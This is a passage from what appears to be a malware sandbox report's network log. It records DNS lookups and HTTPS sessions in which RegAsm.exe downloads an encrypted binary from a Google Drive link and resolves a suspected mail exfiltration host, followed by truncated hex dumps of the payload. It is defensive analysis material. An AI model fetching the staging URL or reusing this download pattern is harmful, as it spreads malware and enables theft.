Sep 27, 2021 18:57:36.054955959 CEST	53	49924	1.1.1.1	192.168.11.20
Sep 27, 2021 18:58:09.766271114 CEST	50519	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:58:09.775538921 CEST	53	50519	1.1.1.1	192.168.11.20
Sep 27, 2021 18:59:38.114056110 CEST	57210	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:59:38.122673988 CEST	53	57210	1.1.1.1	192.168.11.20
Sep 27, 2021 19:01:38.236913919 CEST	59566	53	192.168.11.20	1.1.1.1
Sep 27, 2021 19:01:38.245839119 CEST	53	59566	1.1.1.1	192.168.11.20
Sep 27, 2021 19:03:13.842541933 CEST	59579	53	192.168.11.20	1.1.1.1
Sep 27, 2021 19:03:13.851216078 CEST	53	59579	1.1.1.1	192.168.11.20
Sep 27, 2021 19:03:14.414486885 CEST	57107	53	192.168.11.20	1.1.1.1
Sep 27, 2021 19:03:14.423217058 CEST	53	57107	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 18:55:58.509557962 CEST	192.168.11.20	1.1.1.1	0xeb45	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Sep 27, 2021 18:55:59.107471943 CEST	192.168.11.20	1.1.1.1	0x6759	Standard query (0)	doc-04-9c-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Sep 27, 2021 18:57:35.737463951 CEST	192.168.11.20	1.1.1.1	0x8abd	Standard query (0)	mail.mylgestion.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 18:54:59.342324972 CEST	1.1.1.1	192.168.11.20	0xa988	No error (0)	devcenterapi.azure-api.net	apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 18:54:59.342324972 CEST	1.1.1.1	192.168.11.20	0xa988	No error (0)	devcenterapi-eastus-01.regional.azure-api.net	apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 18:55:58.518080950 CEST	1.1.1.1	192.168.11.20	0xeb45	No error (0)	drive.google.com		142.250.185.238	A (IP address)	IN (0x0001)
Sep 27, 2021 18:55:59.137696028 CEST	1.1.1.1	192.168.11.20	0x6759	No error (0)	doc-04-9c-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 18:55:59.137696028 CEST	1.1.1.1	192.168.11.20	0x6759	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)
Sep 27, 2021 18:57:36.054955959 CEST	1.1.1.1	192.168.11.20	0x8abd	No error (0)	mail.mylgestion.com	mylgestion.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 18:57:36.054955959 CEST	1.1.1.1	192.168.11.20	0x8abd	No error (0)	mylgestion.com		37.59.226.120	A (IP address)	IN (0x0001)
Sep 27, 2021 19:03:13.851216078 CEST	1.1.1.1	192.168.11.20	0x28dd	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-04-9c-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49718	142.250.185.238	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 16:55:58 UTC	0	OUT	GET /uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-09-27 16:55:59 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 27 Sep 2021 16:55:58 GMT Location: https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2p56h5ornm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-Ryt+pj5nW9K2UGPTzdqOvw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=XA2NsXn7xA2XW5kUjKsu_LhvsJaT87gGQIpQY0MA8jcIQZPdh9XQH7e9ZmKNA0H3Tew_J726YDGh47K2pc53nSb2oQI5v-EuE5uYUQx5vHmaq7F0m5DaO7a1pt3WePgt2m1NgEuW3L6WRf17yX8y7aui8w7gAqZRTC53THTk6iE; expires=Tue, 29-Mar-2022 16:55:58 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-09-27 16:55:59 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 34 2d 39 63 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 6c 35 6b 69 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5ki
2021-09-27 16:55:59 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49719	142.250.184.193	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 16:55:59 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2p56h5ornm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-04-9c-docs.googleusercontent.com Connection: Keep-Alive
2021-09-27 16:55:59 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdsCc-Bti2xF1HRepWiKGmkNs5OQekB0cQgGWhc4RjXn4njZmgbSOZdVxTuD2aPbCVCC18vY_SyOZQT-nB8F4h4zoLFhzA Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="jason_uxuREt126.bin";filename*=UTF-8''jason_uxuREt126.bin Date: Mon, 27 Sep 2021 16:55:59 GMT Expires: Mon, 27 Sep 2021 16:55:59 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=g9HBug== Content-Length: 221760 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-27 16:55:59 UTC	5	IN	Data Raw: a1 05 c3 bf 8a 18 c7 45 b7 3d 9e 4c 1a ef 76 c3 24 ce 98 1b d6 14 d9 cc bc 46 71 ff 27 5b 27 c2 a1 39 4d f0 79 d2 76 6f 7e 5a 34 2a 62 5a 6b b1 13 81 b5 27 a4 af 03 15 4e 25 19 d0 61 b6 55 25 66 8b ba 54 69 4a e0 11 c4 4f 38 95 24 15 12 02 23 82 d6 d4 13 d7 10 94 b5 e7 df f3 d3 a8 95 31 e9 3e 50 49 81 87 d3 66 9e 98 58 d1 d5 8d 53 b7 46 8a 32 b1 4b c2 7a b4 53 fb 22 d0 41 d3 8d 88 a8 96 f8 86 fc 17 e7 ff 91 3b 62 fe d6 d2 26 f8 58 c2 9e 4b b2 d5 76 4e 41 a0 b9 94 87 74 19 25 9c f9 c4 26 d5 8e c5 89 79 39 fa 2e 3f a7 79 2f a3 fd c9 58 5c 80 c9 b6 01 de e4 80 55 01 d5 ad 25 6e 83 05 74 ab 9d 7d eb 57 67 86 bc 73 90 e4 db 8d c2 78 8c 2d b5 a6 72 53 6a 48 3b 40 15 bb a2 17 75 90 0d 06 75 0f 49 9a 23 51 b1 f7 b2 08 37 ab 39 4b b2 da 07 60 65 f7 c5 2a 54 86 49 Data Ascii: E=Lv$Fq'['9Myvo~Z4bZk'N%aU%fTiJO8$#1>PIfXSF2KzS"A;b&XKvNAt%&y9.?y/X\U%nt}Wgsx-rSjH;@uuI#Q79K`eTI
2021-09-27 16:55:59 UTC	9	IN	Data Raw: 2e 6c 00 b4 ba 1f 3c 27 93 88 64 dc dc 77 cc 89 06 0c 9f 65 d6 ac c2 d8 c4 70 a0 8f 53 07 b0 d8 75 d7 f3 22 ca 56 74 34 0f e1 55 66 24 ec a8 62 5a 3b 1d c4 74 e1 03 72 90 58 2f 0a 5e 74 87 ff a3 37 8a 32 9b 71 ee fe 2c 7a 41 9c b8 8c 69 57 9a 17 2b ec 8c 19 c5 0f 9f 29 81 a0 0d 43 e7 2c 32 cf f4 09 e5 08 8f 27 da 8c 60 77 1e 5d 86 18 92 5d 30 89 d1 b6 a6 90 46 cc 83 7d 6a 86 10 1a 59 15 67 4f 5a 0c 65 6c 32 09 b0 3b c2 91 af 68 c6 8f f7 e9 a0 fe 2f c8 35 c2 6f 9d 98 18 91 68 f6 8f 24 52 2b 6e 39 a6 1c 99 2c cd 7d db d5 43 9f eb 3a 83 40 eb c9 2e 99 ee 90 49 6a 73 c8 79 fb df fd 15 f9 70 5e 49 13 ac 6c 6e f3 3e 79 fb 3d 7d b7 34 db 5e 3b bc 9c 7e b1 32 82 7c e0 dc 0c cb 08 da 39 57 1b 86 a8 d2 ed 99 57 f7 13 2d 59 58 0c 98 28 60 9c 12 38 a4 6a cf e0 6a ed Data Ascii: .l<'dwepSu"Vt4Uf$bZ;trX/^t72q,zAiW+)C,2'`w]]0F}jYgOZel2;h/5oh$R+n9,}C:@.Ijsyp^Iln>y=}4^;~2\|9WW-YX(`8jj
2021-09-27 16:55:59 UTC	12	IN	Data Raw: c0 dc d9 6d ca fa 77 89 1f 59 2c 9f d8 79 1f d4 d8 39 53 2a 2b 18 9b 44 93 4c 40 bb 43 2a 37 d7 be 18 ed 92 7a 16 2c 62 79 fc 40 6d ad 98 cf 13 eb 59 73 a4 a3 1f a2 f9 02 21 7f a6 d1 a6 b2 8f d6 44 77 d6 6d 62 95 b3 3d c4 38 80 3d 86 b8 ad 77 95 6a df e2 53 90 81 a8 da 1a 28 48 02 cc 4a ef fe 4a d5 0f 3f a0 c9 85 ef c9 10 a2 96 91 5f 8f 77 ac a8 a6 bb f0 fe 91 14 85 e6 24 9c 19 08 c6 44 97 8d 99 db ff 1b 50 30 f8 74 f5 92 67 fa 96 d6 ff e5 4a 39 0a fb c3 e3 11 2b 46 93 e4 7c f6 d7 99 bd d6 f7 82 45 f9 e6 db 44 a3 ac f0 f9 64 48 ea 01 67 58 25 b9 73 95 d8 08 62 79 a6 3a c5 c2 27 23 01 99 4d 04 e5 05 c4 d9 4f 4c 0a 42 c3 91 12 a2 2a 55 4f 9e 24 d2 a0 cf 4b e5 83 53 de 4b 04 a3 ed 45 34 d6 a6 34 88 8c 89 ae 2b e3 49 b1 e3 cd bb 0a 07 0b 29 36 6e fb 07 1d c2 Data Ascii: mwY,y9S+DL@C7z,by@mYs!Dwmb=8=wjS(HJJ?_w$DP0tgJ9+F\|EDdHgX%sby:'#MOLB*UO$KSKE44+I)6n
2021-09-27 16:55:59 UTC	16	IN	Data Raw: 45 84 89 a2 03 35 9d 7d 38 d3 b9 ab 22 22 c6 df 07 7c 3d fe 1d 2a 41 ca ff 89 5a ef 66 34 b2 b2 8c c2 fb 24 d9 de 9f a9 c8 fe c4 03 7e f6 77 f0 df 11 e0 b5 63 73 d4 d1 b3 fa 20 4d 57 45 65 f5 5c ac ed 53 4d 62 13 fd b5 63 56 87 33 a4 66 4f 9b 83 d8 86 70 27 84 6a e7 df 19 de f7 51 e7 29 ae 7e 0e 51 1c d1 2a 5e 79 54 c8 29 c0 4f 32 4b db fb 1a 2a 49 82 d6 d2 7c 11 10 94 ff 39 d0 d6 fb 9f 95 31 e3 2d 4f 61 b9 87 d3 6c 40 98 49 d9 fd 80 52 b7 40 e5 f4 b1 4b c8 a4 b8 7b cc 22 d0 cb fb b5 88 a6 83 9c 88 ed ab c6 dc b0 83 65 dd dd f3 72 9a ef be 9b 13 f7 ba 11 36 33 ed b1 cf e6 1a 7d 94 e8 c8 ae 6b 3b fc b0 e1 36 96 94 0e 71 36 25 2a e6 a5 ad 3d 78 9e e5 94 1d de e4 8a 8b 01 c4 a5 5d d9 83 05 3e c5 58 7d 5d fe e8 e8 99 5b a7 e4 db 87 d1 5a 44 15 b7 a7 73 8c 61 Data Ascii: E5}8""\|=AZf4$~wcs MWEe\SMbcV3fOp'jQ)~Q^yT)O2KI\|91-Oal@IR@K{"er63}k;6q6%=x]>X}][ZDsa
2021-09-27 16:55:59 UTC	18	IN	Data Raw: 27 a7 a6 5b f6 e6 db 8b 60 69 2c 05 cc a7 79 58 49 2f 39 18 10 93 8a 1f 75 96 1c 01 1a dd 47 ec 2a 79 61 d5 b2 0e 1f 85 3b 4b b4 b5 3f 60 65 dd ed 42 56 84 4f 70 1f c5 ec 3c c0 47 6a 51 d1 9a 1d 2e 6c 0a e8 be 1f 3c 2c 8c 9c 4b be e4 77 c6 ec 93 72 e1 61 d1 bb a9 8d f7 06 82 1f 73 17 9d f0 5d b8 be 24 db 5b 1c f1 60 af 5f 4e 0a eb b7 5a 5a ec 1d c4 74 98 3c 3e 92 5c 01 20 0c 74 81 dd f3 1d c7 36 f4 0f 81 af 26 52 11 99 d7 d8 41 2e 90 1b 29 8b f4 0b 87 26 ab 78 81 a6 2f 11 a9 2e 38 e1 84 23 cb 0e a7 51 cc bf 4d 57 b1 0b 86 1e b0 79 39 fa 82 9e cc 98 55 ce ba 03 05 d0 16 c4 5c 2e 55 5e 5f 0c af 4f 3c 0d 8e 32 ad cc 71 68 d8 40 2e 9d a6 d2 29 c4 4c a6 41 86 ba af bb 46 f2 a7 e1 5a f5 7a 00 94 73 4a 26 e5 59 f1 1e 45 95 c9 2a ef 42 e1 11 06 b8 c4 90 43 42 48 Data Ascii: '[`i,yXI/9uGya;K?`eBVOp<GjQ.l<,Kwras]$[`_NZZt<>\ t6&RA.)&x/.8#QMWy9U\.U^_O<2qh@.)LAFZzsJ&YEBCBH
2021-09-27 16:55:59 UTC	19	IN	Data Raw: 65 52 30 f0 0a e9 92 71 f4 e8 ce f0 e5 4e 11 6c fb c3 e8 1a 34 5e 80 c5 76 e7 d3 88 ac 28 f6 9d 42 f0 f9 d9 3a bb ac ea fd c6 56 f8 12 63 58 0b b7 6c 99 28 09 4e 74 e2 2f cc ea 59 21 01 9f f5 1b e8 17 c0 d9 5e 48 4b b6 c2 bd 17 ab 30 7d 00 94 24 d8 0d d1 58 e1 99 42 da 55 17 5d ec 69 43 d5 b9 24 9e a4 a9 ae ac ef eb ae f8 de bf 0a 0c 0f 36 39 90 fa 2b 10 5d 15 07 a7 01 34 0e 4e c9 77 09 b3 99 54 8c a1 47 03 35 9a 12 fe d3 b9 12 f6 2d e3 f9 30 7c 3d 35 04 36 69 fd ff 89 50 2b 66 25 bb 9a 76 c2 fb d6 bc 18 9f da c3 20 cb 41 5a c1 77 ff d5 02 fd 87 5b 73 d5 d9 6d fa 31 98 75 51 64 52 5b c3 2b d7 41 68 cd ff 9d 54 56 87 39 8c 5e 4f 9b 89 06 2a 6d 2f ac b6 e7 df 1f 65 3d 51 e7 36 70 71 2b 63 2b d1 2b 54 6a 4a e0 e5 cc 4f 38 18 db ea 12 83 96 82 d6 db 13 d7 10 Data Ascii: eR0qNl4^v(B:VcXl(Nt/Y!^HK0}$XBU]iC$69+]4NwTG5-0\|=56iP+f%v AZw[sm1uQdR[+AhTV9^O*m/e=Q6pq+c++TjJO8
2021-09-27 16:55:59 UTC	20	IN	Data Raw: 71 b8 af 26 dc a2 72 0f 63 b8 46 62 2e fa b3 4e cb 75 31 c6 55 e3 13 46 6d a7 d6 6d 19 a2 8b fd ad 91 70 02 2b 61 ab b4 1c 7e 4b 1c d5 de 69 7f 90 1b 32 b0 6f 1b c5 08 fa 09 5f a1 07 6d ba 29 4c d3 e2 21 cf 24 de 3c cb c1 5c 7f 71 0d e9 f8 99 50 3f ec 7a b7 d8 81 55 c8 96 6f fb d1 70 36 63 17 65 31 be 07 bb 5a 2a 22 d9 d1 ac c6 a9 79 cb 7b f3 e1 a8 d4 38 c7 21 b2 6e 9d 96 ec 62 44 f4 89 0a 7f f5 7c 1b fe fe 98 26 e3 d3 c2 d5 45 91 d2 05 ec 9f e0 17 28 80 cd 1d 5c 6a 72 e1 6a eb cc ed 7a fb 4e 20 49 19 a6 ce 7f e3 2b 7f 00 2c 2f 34 4a c5 5e 3b b8 3e 6f a1 2b 84 73 5c cc 04 f9 71 da 38 46 38 8c ba ca 92 8c 57 e2 17 05 32 5a 24 db 8a 71 86 7d 0d 06 7b de f6 12 d2 1f 8d e3 db 77 ad 52 5a 3e f7 b2 79 c1 7e ce df f8 92 73 89 04 51 31 12 a5 55 14 db d3 41 63 f6 Data Ascii: q&rcFb.Nu1UFmmp+a~Ki2o_m)L!$<\qP?zUop6ce1Z*"y{8!nbD\|&E(\jrjzN I+,/4J^;>o+s\q8F8W2Z$q}{wRZ>y~sQ1UAc
2021-09-27 16:55:59 UTC	22	IN	Data Raw: b9 24 9a a8 ab 86 d4 e5 eb a4 e4 da 9f 0a 12 0f 36 b5 eb fa 2b 11 c6 cf 7b a7 0f 35 26 5a 6d 7d 03 9b 96 55 8c ab 54 8d 82 43 aa ed d6 af aa ed 29 8c f6 31 7c 37 fd 1f 33 7b f3 d7 c8 50 31 60 03 bd ec 1a 12 87 22 b6 19 b7 bd c2 20 c1 0e 56 c0 77 fa b9 59 d5 0c 5b 73 de 6c 7e fc 27 54 79 42 6d e6 5d e8 10 73 4d 6c cd f1 ee 56 57 87 33 9f 56 5e 9f e6 07 87 61 25 a5 8f e0 4a 71 99 32 50 e7 29 61 79 3a 71 44 d5 2b 54 60 62 a2 11 c0 49 1e 84 d3 85 c0 02 9b 88 dc fc 2b d7 10 9e 2b e8 ce f4 c2 a1 a4 8e c1 06 50 49 8b 59 d3 72 b4 9e 72 d1 d4 9d 53 b7 46 8a 32 b1 5d d4 7a 05 49 fb 22 d1 da e3 89 88 36 89 42 88 d7 a3 ee 23 98 ad 61 b2 1d f8 0c b2 31 b1 ba 13 3f ba 11 36 4f a0 99 f7 ec 16 09 68 e8 d9 a2 6b b3 fc b0 e1 71 55 95 0e 71 87 2c 0e ce 98 a0 34 66 73 c5 aa Data Ascii: $6+{5&Zm}UTC)1\|73{P1`" VwY[sl~'TyBm]sMlVW3V^a%Jq2P)ay:qD+T`bI++PIYrrSF2]zI"6B#a1?6OhkqUq,4fs
2021-09-27 16:55:59 UTC	23	IN	Data Raw: 06 66 72 61 78 98 5c 3b 21 a1 01 b5 b8 8a 68 cc 57 a7 54 be e3 05 e8 10 95 6f 9b bf c1 64 15 f3 8f 22 73 eb 02 32 91 1c 9d 3e d6 45 a7 f0 45 95 c7 8c 34 56 d0 1b 06 d4 c4 90 4f 47 77 3d 4a fc dd fd 44 b0 66 d1 4f 1b b2 2c 85 f3 3c 79 dc 30 3f 2c 30 f9 b1 39 bc 9a 56 f1 32 82 db 7e c5 60 d9 08 da 3c 64 db 81 a8 c3 c4 bd 57 e2 19 ad 40 5a 24 d5 f5 9d 90 66 0b da 62 ce ea 68 ed 31 8f e7 7f 70 95 61 5c 9c ec b4 5c 64 dc df cf ae e1 73 89 0a 23 3f 61 d9 51 7b 14 c0 47 41 54 03 1c 39 5c ef 81 40 aa 4d ef 5b 01 bf 34 e4 f4 ac 19 04 1b 14 13 46 cf b8 f5 f4 17 eb 4c 61 93 86 e1 a3 df 18 06 0e a6 c1 a6 b2 8f 0a 53 7b c5 6d 0d 4d b7 22 de db 5b 7e 80 b0 b2 70 88 44 d7 13 51 96 25 a1 e3 27 2c 48 19 de ab e3 16 b5 f8 66 3e bf c3 a9 95 c1 10 a4 fd 64 96 8f 7d c9 d3 7c Data Ascii: frax\;!hWTod"s2>EE4VOGw=JDfO,<y0?,09V2~`<dW@Z$fbh1pa\\ds#?aQ{GAT9\@M[4FLaS{mM"[~pDQ%',Hf>d}\|
2021-09-27 16:55:59 UTC	24	IN	Data Raw: 64 f5 5e 1e 7e 51 4d 68 e5 f5 9d 54 50 e8 30 8d 5e 45 f4 82 07 86 6b 07 a8 9e e7 d9 70 b8 30 51 ed 4c 7a 70 2b 73 3d 2f 2b 0b 68 55 f2 ef c1 59 c6 94 84 e8 32 a6 9b 82 d6 2a 12 c1 ee 95 aa e5 ff 56 d3 a8 95 cf e8 28 ae 48 de ab b9 64 12 e7 58 d1 d4 e2 5f b6 46 80 5d b6 4a c2 70 9c 43 f8 22 d6 ae 4e 8d 88 ac a5 57 8a 70 dc ee 32 b1 ec 6f b3 1b f9 f2 b7 31 b1 ba e6 1f bb 11 3c 5e c5 99 f7 e2 32 66 49 e8 df 8e 67 f5 fc ba 67 51 50 94 0a 05 e0 2a 0f ca 90 21 42 72 8d c5 d3 29 df e4 8a 7d 25 d5 ad 7f ab 8b 05 38 ae 8a fd 7a f4 36 e3 61 d5 91 e4 db 8f 7a 50 21 2d b7 a1 51 b1 63 48 3d 0e 3e 95 a2 1f 7f 86 3e 1f 0b 07 47 ec 24 79 55 d5 b2 0e 1f 8f 39 4b b8 5a 4f 60 65 d3 fd 42 55 84 49 5a db ed a1 36 e8 6f 42 b4 d5 47 96 38 44 24 c0 89 15 2a 15 81 f1 44 96 dc 73 Data Ascii: d^~QMhTP0^Ekp0QLzp+s=/+hUY2V(HdX_F]JpC"NWp2o1<^2fIggQP!Br)}%8z6azP!-QcH=>>G$yU9KZO`eBUIZ6oBG8D$*Ds
2021-09-27 16:55:59 UTC	25	IN	Data Raw: 24 dd 29 56 20 9c 91 d6 f7 99 46 f9 0c 11 b6 5b 08 dd 2e 71 99 09 23 a6 6a c8 f5 51 d6 04 8d f6 62 79 9c b1 5d b0 ed b3 6c d3 d2 09 dc db f6 51 9a 15 5d 26 7a c6 60 ea dc ec 40 5a 33 20 03 0f 4b 9b 48 51 b1 58 18 db 28 93 3f f1 90 74 01 d2 02 70 e3 68 dc a9 8b cd 0c f4 78 89 ba 84 f0 b2 d3 19 f2 76 0e 44 8d b2 8b 75 48 7e da 58 71 9f b7 33 cf d9 ba ef 89 9d b9 7c 85 2d d9 e0 53 90 3c 8b d8 12 2c 59 08 d7 63 1c 01 67 ff 33 7d a0 f4 be f0 c9 01 bf e6 28 a1 8e 51 c9 d8 ad a1 2c 4f 85 05 b2 f1 3f 8d 0c 0c ce 8b 68 a0 af cd d5 7e 59 21 fb 1c f8 94 4f eb e9 ce f5 fa 7c 02 6d fb d2 f2 00 ca 5f ac e9 6d ec c9 50 bf 23 ed bd 53 f0 e8 ce 25 82 52 f1 d1 cc 24 da 10 63 5e 3e a2 56 8a 3d 09 5f 6f b0 0c 32 eb 7a 2a 10 94 fe 0e 3e 05 cb c6 74 5b 0c bc d3 a6 06 a2 ce 7c Data Ascii: $)V F[.q#jQby]lQ]&z`@Z3 KHQX(?tphxvDuH~Xq3\|-S<,Ycg3}(Q,O?h~Y!O\|m_mP#S%R$c^>V=_o2z*>t[\|
2021-09-27 16:55:59 UTC	27	IN	Data Raw: d0 c7 c0 99 99 b2 98 52 80 d4 f3 ee 32 b6 90 71 b5 77 d0 72 90 31 b1 be 3b e0 fa 4a 1f 20 cd 99 f7 e6 1a 87 75 b1 f1 37 43 f5 f6 07 f0 8f dd bf 0e 7b e9 39 1c df 80 bc 2e 75 e1 e7 bc 25 de e4 80 55 21 95 f6 5d 34 82 05 32 82 be 7c 5d fe 32 cf ab 70 90 e2 b4 94 c3 78 66 01 a5 b6 7d 43 72 4e 23 30 47 bb a2 19 66 97 d0 ac 75 0f 47 fd 24 40 a2 d1 ab 20 66 ab 39 4d a1 dd 9a f8 65 d7 c5 02 63 84 49 52 4b fd ec 36 e2 b4 e8 51 d7 47 98 0e 68 8a c0 89 2c 46 25 89 83 23 8b dd 77 cc 89 53 0d 9f 65 f9 e9 ad 94 c2 63 bd 99 64 06 87 d0 5d e8 be 22 cc 4f 66 24 0c 8c 55 66 2e eb b7 50 15 34 46 e7 7e e6 2b 3e 92 58 d9 5a 57 5c 16 f5 a4 15 70 27 4d fa aa af 2c 7b 58 8d c6 cb 78 41 97 77 00 98 b6 19 